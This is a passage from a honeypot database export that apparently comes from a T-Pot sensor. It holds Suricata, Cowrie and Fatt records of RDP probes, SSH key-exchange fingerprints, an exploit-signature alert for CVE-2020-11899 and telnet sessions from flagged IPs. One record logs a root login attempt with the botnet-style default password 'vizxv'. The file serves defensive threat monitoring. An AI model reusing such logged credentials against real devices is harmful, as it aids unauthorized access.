{"flowbits": ["ms.rdp.established"]}, "src_port": 61991, "dest_port": 3389, "timestamp": "2021-09-20T12:17:41.502786Z", "@timestamp": "2021-09-20T12:17:41.502Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36846	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:17:41.844276+03	2021-09-20 15:30:02.820868+03	{"_id": "YgYjA3wBvYTbRNuE-2U9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:41.161823+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1510499126966303, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61991, "dest_port": 3389, "timestamp": "2021-09-20T12:17:41.844276Z", "@timestamp": "2021-09-20T12:17:41.844Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36847	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:17:41.502786+03	2021-09-20 15:30:02.821867+03	{"_id": "YwYjA3wBvYTbRNuE_GU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 61991, "dest_port": 3389, "timestamp": "2021-09-20T12:17:41.502786", "@timestamp": "2021-09-20T12:17:41.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
36848	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 15:17:43.739929+03	2021-09-20 15:30:02.822867+03	{"_id": "ZAYkA3wBvYTbRNuEA2UN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:43.739929+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1298720732170841, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:17:43.739929Z", "@timestamp": "2021-09-20T12:17:43.739Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
36859	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:17:55.297242+03	2021-09-20 15:30:02.837868+03	{"_id": "uQYkA3wBvYTbRNuEMGX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "6dba251cbc3c", "@version": "1", "timestamp": "2021-09-20T12:17:55.297242Z", "@timestamp": "2021-09-20T12:17:55.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36849	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:17:41.502786+03	2021-09-20 15:30:02.823867+03	{"_id": "YAYjA3wBvYTbRNuE-2U8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:41.161823+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1510499126966303, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61991, "dest_port": 3389, "timestamp": "2021-09-20T12:17:41.502786Z", "@timestamp": "2021-09-20T12:17:41.502Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36850	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:17:41.518823+03	2021-09-20 15:30:02.825868+03	{"_id": "XwYjA3wBvYTbRNuE-2U8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:41.161823+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1510499126966303, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 61991, "timestamp": "2021-09-20T12:17:41.518823Z", "@timestamp": "2021-09-20T12:17:41.518Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36851	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:17:35.419987+03	2021-09-20 15:30:02.826867+03	{"_id": "UgYjA3wBvYTbRNuE4mXJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:53184 (192.168.176.2:23) [session: 47b49951487b]", "session": "47b49951487b", "@version": "1", "protocol": "telnet", "src_port": 53184, "dest_port": 23, "timestamp": "2021-09-20T12:17:35.419987Z", "@timestamp": "2021-09-20T12:17:35.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	AL
36852	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:17:25.000918+03	2021-09-20 15:30:02.828869+03	{"_id": "VAYjA3wBvYTbRNuE42XJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:23.779901+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2101898938672765, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 50232, "timestamp": "2021-09-20T12:17:25.000918Z", "@timestamp": "2021-09-20T12:17:25.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36853	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:17:35.790977+03	2021-09-20 15:30:02.829868+03	{"_id": "UQYjA3wBvYTbRNuE4mXJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [root/vizxv] failed", "session": "47b49951487b", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T12:17:35.790977Z", "@timestamp": "2021-09-20T12:17:35.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	AL
36860	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:17:55.29655+03	2021-09-20 15:30:02.839869+03	{"_id": "vQYkA3wBvYTbRNuEMWX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:17:55.176274+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1791798010949778, "payload": "AAADvA4U1+fM9AmsMfAzUZQiAhDOGgAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAChn0nNKYDOmAof3AY10", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58840, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:17:55.296550Z", "@timestamp": "2021-09-20T12:17:55.296Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............1.3Q.\\"........curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............(g.sJ`3......t"}}	1	\N	\N	alert	\N	RU
36854	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:53.102436+03	2021-09-20 15:30:02.830867+03	{"_id": "oAYkA3wBvYTbRNuEJ2V_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50934, "timestamp": "2021-09-20T12:17:53.102436", "@timestamp": "2021-09-20T12:17:53.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36855	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:17:53.371731+03	2021-09-20 15:30:02.831867+03	{"_id": "rAYkA3wBvYTbRNuEKWUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "519619cfd3b5", "@version": "1", "timestamp": "2021-09-20T12:17:53.371731Z", "@timestamp": "2021-09-20T12:17:53.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36856	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:17:53.371003+03	2021-09-20 15:30:02.833866+03	{"_id": "rwYkA3wBvYTbRNuEKmUj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1920853187933060, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50934, "dest_port": 22, "timestamp": "2021-09-20T12:17:53.371003Z", "@timestamp": "2021-09-20T12:17:53.371Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36857	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:17:53.37112+03	2021-09-20 15:30:02.835868+03	{"_id": "sAYkA3wBvYTbRNuEK2Ug", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 50934, "dest_port": 22, "timestamp": "2021-09-20T12:17:53.371120", "@timestamp": "2021-09-20T12:17:53.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
